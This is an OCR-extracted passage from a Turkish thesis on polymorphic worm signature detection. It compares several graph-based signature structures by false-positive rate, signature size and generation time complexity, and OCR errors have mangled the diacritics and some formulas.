Polygraph Bayes, YsKI, YIKI, YsGKi ve YIGKI imza yapilari, akis skorunu
hesaplayip secilen bir esik deger ile karsilastirmaktadir. Bu esik degere esit ya da
tizerinde skora sahip akislar solucan olarak etiketlenmekte, diger akislar normal akis
olarak etiketlenmektedir. Imzas1 olusturulan polimorfik solucan oriintiisiiniin, bu

imza yapilarina gore hesaplanan akis skoru, esik degeri i¢in st limittir.

Karar esiginin limit degeri lizerinde belirlenecek esik degerlerinde solucan
dogru olarak etiketlenmeyecektir, yani dogru-pozitif orani sifira diisecektir. Bununla
birlikte, esik degerinin yeterince biiyiitiilmesi halinde, hicbir akis bu skora
erisemedigi i¢in yanlis-pozitif oranmi da sifira diisecektir. Yanlig-pozitif oraninin sifira
diismesi, ulagilmak istenen ideal durumdur fakat ayni zamanda dogru-pozitif

oraninin da sifir olmamasi gereklidir.
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Karar esiginin limit degerine esit ya da daha kiiclik esik degerler
belirlendiginde, dogru pozitif oram1 bire esit olacaktir. Esik degeri, bu aralikta ne
kadar kiigiik secilirse, normal akis skorlarmin esik degerini gegme olasiligi
arttigindan esik degeri kiicliltiildiik¢ce yanlig-pozitif oran1 da artacaktir. Esik degeri
yeterince kiiciiltiildiigiinde, tlim akiglarin skoru bu esik degerin iistiinde olacagindan

yanlig-pozitif oran1 bire esit olacaktir.

Sekil 4.6’daki ROC egrisinde, Polygraph Bayes, YsKi, YIKi, YsGKIi ve
YIGKI imza yapilart igin karar esigi limit degerleri gosterilmistir. Bu limit
degerindeki yanlig-pozitif orani degeri, dogru-pozitif oraninin bire esit olmasi
sartryla inilebilecek minimum yanlig-pozitif degeridir. Goriilmektedir ki Polygraph
Bayes imza yapist ile inilebilecek minimum yanlis-pozitif orani, diger imza
yapilarindan daha ytiksektir. Bu sonug, Cizelge 4.2’de verilen test sonuglarini
desteklemektedir. YIKI imza yapist minimum esik degeri, YsKi imza yapisi
minimum esik degerinden daha diisiiktiir fakat iki KI imza yapisinin da minimum
esik degeri GKI imzalarindan daha yiiksektir. YsGKI ve YIGKI imza yapilari
minimum esik degerleri esit ¢tkmaktadir. Goriilmektedir ki, daha YsGKI imza yapist
i¢in daha yiiksek bir esik degeri kullamlirsa YIGKI ile benzer sonug verebilmektedir.
Akis degerlendirme sirasinda kullanilacak esik degerinin, hesaplanan esik degeri
limitine esit olmasi, sistemi kirilgan bir hale sokmaktadir. Ciinkii akis icerisindeki en
ufak bir degisiklik (zayif bir diiglimiin degistirilmesi vb.) ile akis skoru daha diisiik
hesaplanacak ve yanlig-negatif karar verilecektir. Bu sebeple karar asamasinda
kullanilacak esik degeri, tahammiil edilebilir oranda bir yanlig-pozitif oranini verecek
sekilde, esik degeri limitinden olabildigince kiigiik secilir. Tahammiil edilebilecek
yanlig-pozitif oranini saglamak kaydiyla ne kadar kiiciik bir karar esik degeri
belirlenirse, imza yapilari polimorfik solucan yapisindaki degisikliklere o kadar

direngli olacak ve dogru-pozitif karar vermeye devam edebilecektir.

YIKDB imza yapisi, YsGKi, YIKi, YsKi, Polygraph Conjunction ve
Polygraph Bayes imza yapilarindan daha iyi yanlis-pozitif performansina sahiptir.
YIKDB ve YIGKI imza yapilarinin birbirine esit yanlis-pozitif oranina sahip oldugu
goriilmektedir. YIKDB imza yapis1 Boliim 4.3 ve Bolim 4.5°de aciklandigi gibi

YIGKI imzasindan daha diisiik boyutta imza kiimesine sahiptir ve akis degerlendirme
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sirasinda daha hizli karar vermektedir. Tam bagli zayif solucan akisinda
bulunabilecek tiim kenarlar i¢in skor hesaplamak yerine, maksimum skorlu yol
tizerinde bulunan giiglii kenarlarin ve giiglii diiglimlerin karar asamasinda dikkate
alimmasinin yanlig-pozitif oranina zarar vermeden daha diisiik boyutlu imza kiimeleri

ile daha hizli karar verilmesini sagladig1 anlasilmaktadir.

Polygraph Bayes imzalar1 polimorfik solucanin bulunan diigiimleri i¢in skorlar
hesaplar. Bir akista tespit edilen her diiglimiin skoru toplam skora eklenir ve eger
istenen maksimum yanlis-pozitif oran1 i¢in toplam skor tanimlanan esik degerinden
biiyiikse akis polimorfik solucan olarak etiketlenir. Bagimsizlik varsayimli Polygraph
Bayes imzalar esnektir, fakat Newsome ve ark.’nin [40]’daki deneyleri polimorfik
solucan tespitinde yetersiz bulunan En Iyi Karakter Katar1 (Best Substring)
imzalarindan farkli performans vermediklerini gostermistir. Tez kapsaminda yapilan
deneyler de Polygraph Bayes imzalarinin iyi bir yanlig-pozitif performansina sahip
olmadigimi gostermistir. Bunun nedeni spesifik bir diiglim i¢in Bayes skoru her
zaman esik degerinden biiyiliktiir ve diger diiglimlerin varligt sonuca katki
saglamamaktadir. Yine de, daha yiliksek bir esik degeri kullanilarak bu davranig
esnetilebilir. Bu durumda, polimorfik solucani tespit etmek icin diger diigtimlerin
varhig1 gerekecektir ve bu durum solucanin izomorfik siirlimlerinde yan diiglimlerin
degistirilmesi sonucu yanlis-negatif kararlara sebep olabilir. Polygraph Bayes
imzalari, polimorfik solucanlari tespit etmek icin basit ve esnek bir yol 6nermek igin
onemli bir katkidir. YIKI, YsKI, YIGKI, YsGKIi ve YIKDB imza yapilari, bu etkili
yontemi diiglimler arasi bagimsizlik varsayimi yerine daha gercekei olasilik
modelleri kullanarak iyilestirmektedir. Bu sayede, Bayes imzalarinin esnekligini bir
derece katilagtirarak fakat yontemi hala esnek halde birakarak daha iyi yanlig-pozitif

basarimi elde edilmistir.

Polygraph Subsequence imza yapisi, Polygraph Conjunction ve Polygraph
Bayes imza yapilarina gore daha iyi bir yanlis-pozitif performansina sahiptir ¢ilinkii
diigiimler i¢in sira kurali polimorfik solucan akis ¢izgesini daha spesifik olarak
tarifler. Polygraph Conjunction imza kiimesinin diigiimlerinin timii bir siralama
kuralindan bagimsiz olarak akista yer aliyorsa akis polimorfik solucan olarak

etiketlenir. Polygraph Subsequence imzasinin diigiimleri verilen sirada tespit etmek
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zorundadir. Polygraph Subsequence ve Conjunction imza yapilari, Polygraph Bayes
imzalar1 kadar esnek degildir. Imza kiimesindeki herhangi bir diigiimiin
degistirilmesi polimorfik solucanin izomorfik siiriimiiniin tespit edilememesine sebep
olur. Polygraph Subsequence ve Conjunction imza yapilari, bu kat1 &zellikleri
sebebiyle bir polimorfik solucanin izomorfik siiriimlerine kars1 direngsizdir. YsGKI,
YIGKI ve YIKDB imza yapilar, giigli diigiimler veya giiglii kenarlar
degistirilmedigi siirece polimorfik solucan yapisindaki degisikliklere direnglidir.
YIKDB, yanlis-pozitif oran1 agisindan YIKI, YsKI ve YIGKI imza yapilarindan daha
iyl bir performansa sahiptir. YIKDB imza yapis1 ayrica imza igerisindeki giiglii
digtimler ya da giiclii kenarlar degistirilmis olsa bile, kismi imza eslesmelerinden
faydalanarak bir polimorfik solucanin izomorfik siiriimii i¢in yeni imzay1 otomatik

olarak olusturabilmektedir.
4.3 Imza Boyutlarinin Analizi

Bu boliimde, YsKi, YIKI, YsGKi, YIGKI ve YIKDB imza boyutlarinin analizi
yapilmistir.

Solucan akis ¢izgesinden, icerisinde n adet diigiim bulunan V diigiim kiimesi

olusturulmus olsun.

V' diiglim kiimesi igerisindeki karakter katar1 diigiimlerin toplam boyutu T byte

olsun.

V diigiim kiimesinden olusturulabilecek yonsiiz kenar sayisi y, ise, YsKi imza

kiimesinde, n adet digiimden olusturulmus y,,; = nx(nt1)

adet yonsiiz kenar bulunur.

V digiim kiimesinden olusturulabilecek yonsiiz kenar sayis1 y,, ise, YIKI imza

kiimesinde, n adet digiimden olugturulmus y,,; = n? adet yonlii kenar bulunur.
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YsKi ve YIKI imza yapilarinda, kenar skorunu saklamak icin kullanilan
degiskenin boyutu s byte ise, YsKI ve YIKi imza kiimesi boyutlar1 (4.21) ve
(4.22)’de verildigi gibidir.

. nxXxn+1
YsKl imza boyutu: T + s X % (4.21)
YIKI imza boyutu: T + s x n? (4.22)

YIKI ve YsKi imza kiimelerinde, V diigiim kiimesinden olusturlan tiim yonlii
ve yonsiiz kenarlar icerilmektedir. Bu sebeple Ki imza kiimelerinin boyutu igin en iyi

durum ile en kotli durum birbirine esittir.

Tam bagl zayif polimorfik solucan akisi Wy, icerisindeki w;; essiz

kenarlarinin say1s1 k olsun. Oyle ki j > i.

V' diiglim kiimesi igerisindeki karakter katar1 diigiimlerin toplam boyutu T byte

olsun.

YsGKI ve YIGKI imza kiimelerinde, kenar skorunu saklamak icin kullanilan

degiskenin boyutu s byte olsun.

YsGKI ve YIGKI imza kiimelerinde, bir kenarin giiglii ya da zayif oldugunu
belirtmek i¢in kullanilan giigliiliik belirteci degiskeni boyutu g olsun.

YsGKI ve YIGKI imza kiimesi boyutlar1 (4.23)’de verildigi gibidir.

T+kx(s+9) (4.23)

YsGKI ve YIGKI imza kiimelerinde bulunan kenar sayis1 esittir ¢iinkii her iki
yontem de tam bagli polimorfik solucan akis ¢izgesinde bulunabilecek siral

kenarlar1 igermektedir. Kenar skorlar1 yonlii ya da yénsiiz olarak yapilmaktadir. GKi
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imza boyutunun en kii¢liik olacagi durum (en iyi durum), tam bagli solucan akis

cizgesinde V diigiim kiimesindeki diiglimlerin tekrar etmedigi, yanlizca bir kere akis

cizgesi igerisinde bulundugu durumdur. Bu durumda, imza kiimesinde k = nX(nt1)

adet kenar bulunur. GKI imza boyutunun en biiyiik olacagi durum ise (en kotii
durum), tam bagl solucan akis ¢izgesinde V diigiim kiimesindeki diiglimlerin olasi
tiim yonlii kenarlar1 olusturdugu durumdur. Bu durumda, imza kiimesinde k = n?
adet kenar bulunur. GKi imza boyutlarmin en iyi (EI) ve en kétii (EK) degerleri
(4.24) ve (4.25)’de verilmistir.

. X(n+1
ElDurum: T+ (s+g) X % (4.24)
EK Durum: T+ (s+ g) X n? (4.25)

Solucan akis ¢izgesinden, icerisinde n adet diiglim bulunan V diigiim kiimesi

olugturulmus olsun. Diglim kiimesi igerisindeki n adet diglimden ng, tanesi giicli

diigiim, n,, tanesi de zay1f diigiim olarak tespit edilmis oslun. Oyle ki ng+mn, =n.

Tam bagl zayif polimorfik solucan akis ¢izgesinin ilk diiglimiinden baslayip
son diiglimiine kadar giden maksimum skorlu yol lizerindeki gii¢lii kenar sayis1 kg

olsun. Oyle ki tam bagli polimorfik solucan akis ¢izgesi igerisindeki kenar sayis1 k

ise, k; < k.

V' diigiim kiimesi igerisindeki n adet karakter katar1 diigiimlerin toplam boyutu

T byte olsun. YIKDB imza kiimesi igerisindeki ng adet giglii dugii ve kjadet giicli
kenar1 olusturan egsiz zayif diigtimlerin karakter katarlar1 toplam boyutu T, olsun.

Oyle ki T, <T.

Gliglii diiglim ya da giiclii kenarlar1 olusturan zayif diiglimlerin indis

degerlerini tutmak i¢in kullanilan degiskenin boyutu i byte olsun.

YIKDB imza kiimesi boyutu, (4.26)’da verildigi gibidir.



Ty + (ng + 2kg) X i
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(4.26)

YIKDB imza boyutunun en kiiciik oldugu durumda (Ei durum), diigiim

kiimesindeki en kii¢iik boyutlu diigiim tek giiclii diigiim olarak bulunur ve giiclii

kenar bulunmaz. Bu durumda ng; = 1 ve k; = 0 degerlerini alacaktir. YIKDB imza

boyutunun biiyiik oldugu durumda ise (EK durum), diigiim kiimesi igerisindeki tim

diigiimler zayiftir ve tam baglhh polimorfik solucan akis c¢izgesinde bu zayif

digtimlerin olugturabilecegi tim sirali kenarlar bulunur. Bu durumda n; =0 ve

kg

degerleri (4.27) ve (4.28)’de verilmistir.

Ei Durum: T, +i

EK Durum:

Ty +ix2n?

= n? degerlerini alacaktir. YIKDB imza kiimesi boyutunun EI ve EK durumdaki

(4.27)

(4.28)

YsKi, YIKI, YsGKi, YIGKI ve YIKDB imza kiimesi boyutlar1, Cizelge 4.3’de

toplu olarak sunulmustur.

imza Yapisi

imza Yapis1 Boyutu

Genel Ei Durum EK Durum
YIKDB Ty + (ng + 2kg) X i Ty +i Ty +ix2n?
YIGKI .
T+kx(s+g) T+(s+g)x% T + (s + g) x n?
YsGKi
YIKI T+sXyy T + s x n? T + s X n?
YsKi T+ s Xyys T+SX% T+wa

Cizelge 4.3, imza Boyutlari.
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Cizelge 4.3’ de gosterildigi gibi, EK durumda tiim imza yapilarinin boyutlar1 n?
ile dogru orantili sekilde artmaktadir. YsKi, YIKI, YsGKI ve YIGKIi imza
yapilarinin EK durumda imza yapilarimin boyutlari, kiiclikten biiyiige dogru

asagidaki gibi siralanmaktadir.

YsKI < YIKI < YsGKI,YIGKI

YIKDB imza yapisinda diigiim indisi tutmak i¢in i = 1 byte degisken, YsGKI,
YIGKI, YsKI ve YIKI imza yapilarinda kenar skorunu saklamak igin s = 4 byte
degisken (float), YIGKI ve YsGKI imza yapilarinda kenar giigliiliigiinii belirtmek
icin g = 1 byte degisken kullanildig1 ve Ty < T oldugu varsayilirsa, EK durumda

imzalarin boyutlar1 kiiclikten biiylige asagidaki gibi siralanmaktadir.

Tg+2nz<T+2nz+2n<T+4nz<T+5n2

YIDKB < YsKIi < YIKI < YsGKI,YIGKI

Goriildiigii gibi YIKDB imza yapist KI ve GKI imza yapilarma gore daha
kiigiik boyutlu imza kiimesine sahiptir. GKI imza yapilari, EK durumda YIKI ile esit
sayida kenar igerir fakat ayn1 zamanda kenarlar i¢in giicliiliik belirteci degisken

kullanildigindan, imza boyutu Y1KI imza boyutundan daha biiyiiktiir.

Cizelge 4.3’de gosterildigi gibi, EI durumda YIKDB disindaki tiim imza
yapilarinin (Ki ve GKI) boyutlar1 n? ile dogru orantili sekilde artmaktadir. YIKDB
imza yapisinin boyutu ise EI durumda diigiim karakter katarlarinin boyutuyla dogru
orantili sekilde artmaktadir. EI durumda, ng < n olacagindan, T, her zaman T’den
kiigiik olacaktir. Dolayisiyla diigiim karakter katar1 boyutlarindaki artis YIKDB imza

yapisini daha az etkileyecektir.

YIKDB imza yapisinda diigiim indisi tutmak i¢in i = 1 byte degisken, YsGKIi,
YIGKI, YsKI ve YIKI imza yapilarinda kenar skorunu saklamak igin s = 4 byte
degisken (float), YIGKI ve YsGKI imza yapilarinda kenar giigliiliigiinii belirtmek
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icin g = 1 byte degisken kullanildigi ve T, < T oldugu varsayilirsa, El durumda

imzalarin boyutlar1 kii¢iikten biiyilige asagidaki gibi siralanmaktadir.

Ty+1<T+2n*+2n<T+25n%+25n <T+4n°

YIDKB < YsKI < YsGKI,YIGKI < YIKI

EK durumun aksine, El durumda GKi imzalar1, YIKI imza yapisina gore daha

az kenar igerdiginden imza boyutu da azalmaktadir.
4.4 Imza Olusturma Siirelerinin Analizi

Bu béliimde, YsKi, YIKI, YsGKI, YIGKI ve YIKDB imza yapilarmin imza

olusturma yontemlerinin ¢aligma zamani analizi yapilmistir.

Ki ve GKI imzalar1, hesapladig1 akis skoru iizerinden karar veren skor tabanl
imza yapilarn iken, YIKDB imza eslestirme ile karar vermektedir. Bu sebeple,
Onerilen yontemlerin imza olusturma asamasinda gerceklestirdikleri islemler ayri
ayr1 incelenmis ve sonrasinda toplu analiz yapimstir. Ki, GKI ve YIKDB imza
yapilariin imza olusturma asamalar1 Cizelge 4.4’de verilmistir. Artt (+) isareti, ilgili
asamanin imza yapisinda bulundugunu gosterirken, eksi (-) isareti ilgili agsamanin

imza yapisi i¢in gecerli olmadigint géstermektedir.
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imza Yapisi
YsKI YIKI YsGKI | YIGKI | YIKDB
Diigiim Bulma + + + + +
Kenar Skoru
- + + + + +
2 Hesaplama
g
<
::“ Kenar
< - - + + +
E Kiimeleme
2
z Diizii
— ugim
(@) 8 - - - - +
g Kiimeleme
£
o
Maksimum
Skorlu Yol - - - - +
Bulma

Cizelge 4.4, Imza Olusturma Asamalari.

Béliim 4.4.1 ve Boliim 4.4.2°de YIKI, YsKI, YsGKI, YIGKI ve YIKDB imza
yapilarinda kullanilan diiglim bulma ve kenar skoru hesaplama iglemlerinin ¢alisma
siireleri analiz edilmistir. Bolim 4.4.3’de, YIGKI, YsGKI ve YIKDB imza
yapilarmin kullandigi kenar kiimeleme islemi ¢alisma zamani analiz edilmistir.
Boliim 4.4.4 ve Boliim 4.4.5°de, YIKDB imza yapisinda kullanilan diigiim kiimeleme
ve maksimum skorlu yol bulma iglemlerinin ¢calisma zamani analiz edilmistir. B6lim

4.4.6’da genel degerlendirme verilmistir.

4.4.1 Diigiim Bulma Siiresinin Analizi

Imza yapilarinda kullanilmak iizere diigiim kiimesi V’yi olusturmak igin,
normal akis havuzu ve solucan akis havuzu olmak {izere iki akis havuzu kullanilir.
Bu akis havuzlar1 Boliim 2.4’de detayli olarak incelenmistir. Normal akis havuzu,
polimorfik solucan igermeyen trafik akiglarini igerir. Hedef polimorfik solucanin

polimorfik kopyalar1 solucan akis havuzunu olusturur. Diigiim, solucan akis
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havuzundaki n polimorfik solucan 6rneginden en az K tanesinde yer alan, en az a
uzunlugundaki atomik alt karakter kataridir ve Solucan Karakter Katar1 (SKK) olarak

da adlandirilmaktadir.

Diigiimler, akis havuzlar1 kullanilarak [55]°de anlatilan algoritma ile tespit
edilir. Bu algoritma, solucan akis havuzundaki 6rneklerin karakter uzunluklarina
gore lineer zamanda ¢aligsmaktadir ve n adet 6rnek arasindan en az K tanesinde ortak
olan En Uzun Ortak Karakter Katar1 (EUOKK)’n1 bulmaktadir. Bu algoritma,
solucan akis havuzundaki n adet solucan drneginin K tanesinde ortak olan karakter
katarlar1 kiimesini bulacak sekilde degistirilerek SKK’ler bulunur. Diiglim bulma
yontemi, solucan akis havuzunda en az a = 2 karakter uzunlugunda, n adet solucan
orneginin K = n tanesinde (hepsinde) ortak olan SKK’leri, icerisindeki akislarin

ortalama boyutu L olan akis havuzlarini kullanarak O (L) siirede bulur.

4.4.2 Kenar Skoru Hesaplama Siiresinin Analizi

Kenar skorlar1 yonlii ya da yonsiiz kenarlar i¢in hesaplanabilir. Kenarlar iki
diigimden olugmaktadir. Kenar skorlar1 hesaplanirken bu kenarin normal akis
havuzu solucan akis havuzu igerisindeki olasilik degerlerinin orani kullanilir. Bu
olasilik degerlerini hesaplamak icin ilgili kenar1 olusturan iki diigiim, normal akis

havuzu ve solucan akis havuzu igerisinde aranir.

Akis havuzlan igerisinde bulunan akiglarin ortalama uzunluklar1 L bayt ise, bir
e;;j kenarini olusturan v; diiiimi akis havuzlar igerisindeki her bir akista O(L)
siirede aranir. Kenar eger sirali ise, v; diiglimiinden sonra v; diigiimiiniin aranmasi,
akis icerisinde v;’nin bulundugu yerden akis sonuna dogru yapilacaktir. Dolayisiyla
en kotli durumda yonlii bir kenar i¢in toplam L bayt karakter katari igerisinde arama
yapilmaktadir ve yonlii bir kenarin akis havuzlarindaki bir akis icerisinde aranma
stiresi O(L)’dir. Eger yonsiiz bir kenar i¢in olasilik degeri hesaplanacaksa, diigiimler
arasinda bir sira bagintist olmadigi i¢in L bayt uzunlugundaki akis igerisinde iki
diigiim de aranir. En kotii durumda, toplam 2L boyutunda karakter katari igerisinde

arama yapilmasina ragmen yonlii bir kenarin akis havuzlarindaki bir akis igerisinde
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aranmasinin zaman karmasikligi yine O(L)’dir. Akis havuzlar igerisinde sonlu
sayida akis bulunmaktadir. Akis sayilar1 sonlu olmasindan 6tiirii, akis havuzlarindaki
her akis icerisinde kenar arama isleminin gerceklestirilmesi, kenar arama isleminin
zaman karmagsikligini lineer davranistan uzaklagtirmaz. Dolayisiyla yonlii ya da
yonsiiz bir kenarin normal akis havuzu ve solucan akis havuzu igerisindeki tim

akislarda aranmas1 O (L) siirede tamamlanur.

Kenar arama islemi, YsKi, YIKi, YsGKi, YIGKI ve YIKDB imza yapilarinin
timiinde ayni sekilde gergeklestirilmektedir. Bu imza yapilarinin kenar skoru
hesaplama siiresi, imza kiimelerinde bulunan kenarlarin sayisina gore degisiklik

gosterecektir.

Diigiim kiimesi V icerisinde n adet diigiim bulunuyorsa YsKi, YIKI, YsGKI,
YIGKI ve YIKDB imza yapilarmin kenar skoru hesaplama siireleri asagida

incelenmistir.

nx(n+1)

YsKi imza kiimesinde k = adet yonsiiz kenar bulunmaktadir.

YIKI imza kiimesinde k = n? adet yonlii kenar bulunmaktadir.

YsGKI ve YIGKI imza kiimelerinde kullanilan tam bagli polimorfik solucan
akis cizgesindeki kenar sayisi k, ise, GKI imza yapilar1 kenarlarmin EI durum ve EK
durum sayilar1  (4.29)’da  verilmistir. EK durumda, n adet diiglimden
olusturulabilecek tiim yonlii kenarlar polimorfik solucan akis ¢izgesinde bulunur. EI
durumda ise, n adet diigiim tekrar etmeyecek sekilde polimorfik solucan akis

c¢izgesinde bulunur.

n?, EK durum
kg=<nxm-1)
2

. (4.29)
,El durum
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YIKDB imzasimi olusturmak i¢in incelenen tam bagli zayif solucan akis
cizgesindeki kenar sayist k; ise, maksimum skorlu yolu bulmak i¢in kullanilacak
essiz kenarlarinin EI durum ve EK durum sayilar1 (4.30)’da verilmistir. YIKDB de
giiclii diiglimler bagimsiz olarak degerlendirilmekte ve sadece tam bagh zayif
polimorfik solucan akis ¢izgesindeki zayif diigiimlerin olusturdugu kenarlar i¢in skor
hesaplanmaktadir. EK durumda, V diigim kiimesi igerisindeki n adet diiglimiin tlimii
zayiftir, tam baglh zayif polimorfik solucan akis ¢izgesinde n adet diiglimden
olusturulabilecek tiim yonlii kenarlar igerilmektedir. EI durumda ise, V diigiim
kiimesi  icerisindeki tiim  diigiimler giicli oldugu i¢in kenar skoru

hesaplanmamaktadir.

I = {nZ,EK durum
b 0, El durum

(4.30)

YsKi ve YIKI imza yapilarinda degerlendirilen kenar sayis1 k, YsGKI ve
YIGKI imza yapilarinda degerlendirilen kenar sayisi k,, YIKDB imza yapisinda
degerlendirilen kenar sayis1 k;, ve akis havuzlarindaki akislarin ortalama boyutu L

ise, kenar skoru bulma siiresinin karmasiklig1 Cizelge 4.5’de toplu olarak verilmistir.

Kenar Skoru Hesaplama Islemi
imza Yapisi
Genel El Durum EK Durum
YIKDB O(k, X L) 0 0(n?x L)
YIGKI
Ok, x L) 0(n? x L) 0(n? x L)
YsGKI
YIKI
O(k xL) 0(n?x1L) 0(n?x1L)
YsKi

Cizelge 4.5, Kenar Skoru Hesaplama Siiresi.
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Genel olarak degerlendirildiginde, YIKI ve YsKI imza yapilar1 n adet
diigiimden olusturulabilecek k adet tim yonli ve yoOnsiiz kenar i¢in skor
hesapladigindan calisma siiresi daha yiiksek olacaktir. YIGKI ve YsGKI imza
yapilari, sadece polimorfik solucan akis ¢izgesi igerisindeki yonlii kenarlar1 dikkate
aldigindan k, < k olacaktir. YIKDB ise, polimorfik solucan akis ¢izgesindeki giiglii
diigiimleri c¢ikartip sadece zayif diigiimlerin olusturdugu kenarlar igin skor
hesapladigindan k;, < k, olacaktir. Dolayisiyla imza yapilarinin kenar skoru

hesaplama siireleri asagidaki dizilime uygun olacaktir.

YIKDB < YsGKI,YIGKI < YsKI, YIKI

El durumda YIKDB kenar skoru hesaplamadigi icin diger imza yapilarinin
aksine kenar skoru hesaplama maliyeti yoktur. Yukaridaki siralama ¢alisma siireleri
icin gecerli olsa da EI durum disinda tiim imza yapilarinin karmasikliginin n? ile
orantili oldugu ve birbirlerinden ciddi derecede ayrilmayacaklari gbéz Oniinde

bulundurulmalidir.

4.4.3 Kenar Kiimeleme Siiresinin Analizi

YsGKI ve YIGKI imza yapilarinda Béliim 3.4.2°de anlatildigr gibi tam bagh
polimorfik solucan akis ¢izgesindeki yonlii kenarlarin skoru hesaplanmakta ve daha
sonra kenar skorlar1 k-ortalama (k-means) algoritmasi kullanilarak giiglii ve zayif
kenarlar olarak kiimelenmektedir. YIKDB’de ise, Boliim 3.5.2’de anlatildig1 gibi
ayni yontemle tam bagli zayif polimorfik solucan akis ¢izgesindeki kenarlar gii¢lii ve

zay1f olarak kiimelenmektedir.

YsGKI ve YIGKI imza kiimelerinde kullanilan tam bagli polimorfik solucan
akis ¢izgesindeki kenar sayis1 k, ise, GKI imza yapilar1 kenarlarinim EI durum ve EK
durum sayilar1  (4.31)’de verilmistir. EK durumda, n adet diiglimden
olusturulabilecek tiim yonlii kenarlar polimorfik solucan akis ¢izgesinde bulunur. EI
durumda ise, n adet diigiim tekrar etmeyecek sekilde polimorfik solucan akis

c¢izgesinde bulunur.
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n?, EK durum
kg=inxm-1)
2

. (4.31)
,El durum

YIKDB imzasint olusturmak i¢in incelenen tam bagli zayif solucan akisg
cizgesindeki kenar sayist k; ise, maksimum skorlu yolu bulmak i¢in kullanilacak
essiz kenarlarinin EI durum ve EK durum sayilar1 (4.32)’de verilmistir. YIKDB’de
gliclii diiglimler bagimsiz olarak degerlendirilmekte ve sadece tam bagh zayif
polimorfik solucan akis cizgesindeki zayif diiglimlerin olusturdugu kenarlarin
skorlar1 kiimelenmektedir. EK durumda, V digim kiimesi igerisindeki n adet
diigiimiin timi zayiftir, tam bagli zayif polimorfik solucan akis ¢izgesinde n adet
diigiimden olusturulabilecek tiim yonlii kenarlar igerilmektedir. El durumda ise, V
diigim kiimesi igerisindeki tiim diiglimler gii¢lii oldugu i¢in kenar kiimeleme islemi

yapilmamaktadir.

2
ky = {n ,EK durum (4.32)

| 0,Eil durum

K-ortalama algoritmasi ile d = 1 boyutlu uzayda, k adet skor degeri iizerinde,
skor degerleri arasindaki uzaklik ¢ikarma islemi ile bulunarak K = 2 kiimeleme
(glicli ve zayif) olusturulmaktadir. K-ortalama algoritmasinin her bir iterasyonunun
zaman karmasikligt O(K X k )’dir. Kiimelemeler olusturulurken [ tane iterasyon
yapiliyorsa kiimeleme islemi zaman karmasikligi O(I X K X k )’dir. Gli¢lii kenarlar
ve zayif kenarlarin skorlarinin birbirlerine oranlar1 ¢ok yiiksektir. Giiclii kenar ve
zayif kenarlarin skorlar1 birbirinden ¢ok uzaktir. K-ortalama algoritmasi bu durumda
sabitlenmis iterasyon sayis1 I ile tam dogru kiimelemeyi olusturabilir. Iterasyon sayisi
sabitlenmediginde, Dasgupta[66] d =1 ve K <5 i¢in iterasyon sayisi I’nin ist
limitinin O (k) oldugunu gdstermistir. Bu durumda kiimeleme islemi K = 2ved =1
icin O(k) siirede tamamlanmaktadir. GKI ve YIKDB imza yapilarinda
degerlendirilen kenar sayilar1 (4.31) ve (4.32)’de verilmistir. Kenar skorlar
kiimeleme isleminin GKi ve YIKDB imza yapilar1 i¢in ¢alisma siireleri Cizelge

4.6’da verilmistir.
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Kenar Skoru Kiimeleme islemi
Iimza Yapisi
Genel Ei Durum EK Durum
YIKDB 0(k,) 0 0(n?)
YIGKI
0(kq) 0(n?) 0(n?)
YsGKi

Cizelge 4.6, Kenar Skoru Kiimele Islemi Siiresi.

YIGKI, YsGKI ve YIKDB imza yapilart EK durumda skor kiimeleme islemi
icin aym siireyi harcamaktadir. EI durumda YIKDB imza yapisi gii¢lii diigiimlerden
olustugu i¢in kenar kiimeleme islemini yapmamaktadir. Genel olarak, YIKDB’de
giiclii diigim bulundugu siirece tam bagl zayif polimorfik solucan akis ¢izgesindeki
kenar sayis1 YsGKI ve YIGKI imza yapilarinda kullanilan tam bagl polimorfik
solucan akis1 ¢izgesindeki kenar sayisindan kiigiik olacagi i¢in YIKDB kenar skoru
kiimeleme islemi daha kisa siirede tamamlanacaktir. Bu durumda imza yapilar1 kenar

skoru kiimeleme islemine gore asagidaki gibi siralanabilir.

YIKDB < YsGKI, YIGKI

4.4.4 Diigiim Kiimeleme Siiresinin Analizi

YIKDB imza yapisinda, diigiim kiimesi V igerisindeki tiim diiglimler,
hesaplanan diigiim skorlar1 kullanilarak giiclii diigtimler ve zayif diigiimler olarak k-
ortalama algoritmasi ile kiimelenmektedir. Diiglim kiimesi V igerisinde n adet diigiim
var ise, n adet diigiim skoru, Boliim 4.4.3’de kenar skorlari i¢in agiklandiginin benzer
sekilde k-ortalama algoritmasi ile O(n) silirede kiimelenir. Tim diigiimler
kiimelendigi icin islem siiresi karmasikligi i¢in EI durum ile EK durum birbirine

esittir.
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4.4.5 Maksimum Skorlu Yol Bulma Siiresinin Analizi

YIKDB imza yapisi, Boliim 3.5.2°de anlatilan algoritma ile tam bagh zayif
polimorfik solucan akis ¢izgesinin ilk diiglimiinden son diigiimiine maksimum skorla
giden yolu bulmaktadir. Tam bagli zayif polimorfik solucan akis cizgesi icerisinde p
adet diigiim var ise, maksimum skorlu yolu bulma algoritmasi karmasiklik analizi

asagida agiklanmistir.

Cizge igerisinde, ilk diigiimden baslanarak (p — 1). diigiime kadar (p — 1)
adet iterasyon gerceklesmektedir. Her i. iterasyonda, ¢izge icerisindeki (i + 1).
diigiime giden maksimum skorlu yol bulunmaktadir. Ayn1 zamanda, i +1 <j <p
olacak sekilde (p — 2) adet diiglime i. diiglimden dogrudan giden kenarin skoru, j.
kenarin maksimum skoru ile karsilastirilmakta ve ilgili kenarin skoru daha yiiksek ise
Jj. diglimiin maksimal yolu ile bu yolda kendisinden bir 6nce bulunan diigimiin indis
degeri giincellenmektedir. Bu islem i = (p — 1)’e kadar devam etmektedir. 1 < i <
p olacak sekilde her i. diigiim i¢in (p — i) adet skor karsilagtirma ve gerektiginde
giincelleme iglemi gerceklestirilir. Dolayisiyla toplam karsilastirma sayisi (4.33) ile

hesaplanabilir.

p—

1
Zi _ w (4.33)

p—1
Z(p —i)=

i=1

(4.33) goz 6nilinde bulunduruldugunda, YIKDB imza yapis1 maksimum skorlu
yol hesaplama isleminin O(p?) siirede tamamlanacag: goriilmektedir. EI durumda,
YIKDB imza kiimesi sadece gii¢lii diiglimlerden olustugu i¢in kenar skoru hesaplama
ya da maksimum skorlu gii¢lii kenarlari bulma maliyeti yoktur. Polimorfik solucan
akis cizgesi icerisinde zayif kenarlarin tekrari igin bir kisitlama bulunmadigindan EK
calisma siiresinin (4.33)’de gosterildigi gibi polimorfik solucan akis ¢izgesindeki

zayif diiglimlerin sayis1 p’nin karesi ile orantili oldugu séylenir.
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4.4.6 Genel Degerlendirme

